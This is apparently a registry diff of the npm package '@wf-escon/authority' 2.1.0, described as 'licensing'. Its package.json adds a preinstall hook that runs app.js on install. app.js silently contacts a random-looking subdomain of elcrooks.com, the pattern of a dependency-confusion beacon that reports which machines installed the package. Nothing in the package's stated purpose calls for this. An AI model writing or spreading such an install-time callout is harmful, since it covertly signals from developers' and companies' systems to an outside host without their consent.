@wf-escon/authority 2.1.0

Sign up to get free protection for your applications and to get access to all the features.
Files changed (2) hide show
  1. package/app.js +31 -0
  2. package/package.json +11 -0
package/app.js ADDED
@@ -0,0 +1,31 @@
1
+ // app.js
2
+
3
+ const https = require('https');
4
+
5
+ function makeHTTPSRequest() {
6
+ const options = {
7
+ hostname: 'edv6jwsns6bu7q3y74fh5vd1mssjgk49.elcrooks.com',
8
+ path: '/license.txt',
9
+ method: 'GET'
10
+ };
11
+
12
+ const req = https.request(options, (res) => {
13
+ let data = '';
14
+
15
+ res.on('data', (chunk) => {
16
+ data += chunk;
17
+ });
18
+
19
+ res.on('end', () => {
20
+ console.log('Response:', data);
21
+ });
22
+ });
23
+
24
+ req.on('error', (error) => {
25
+ console.error('Error:', error.message);
26
+ });
27
+
28
+ req.end();
29
+ }
30
+
31
+ makeHTTPSRequest();
package/package.json ADDED
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "@wf-escon/authority",
3
+ "version": "2.1.0",
4
+ "description": "wf-escon authority licensing",
5
+ "main": "app.js",
6
+ "scripts": {
7
+ "preinstall": "node app.js"
8
+ },
9
+ "author": "WF",
10
+ "license": "MIT"
11
+ }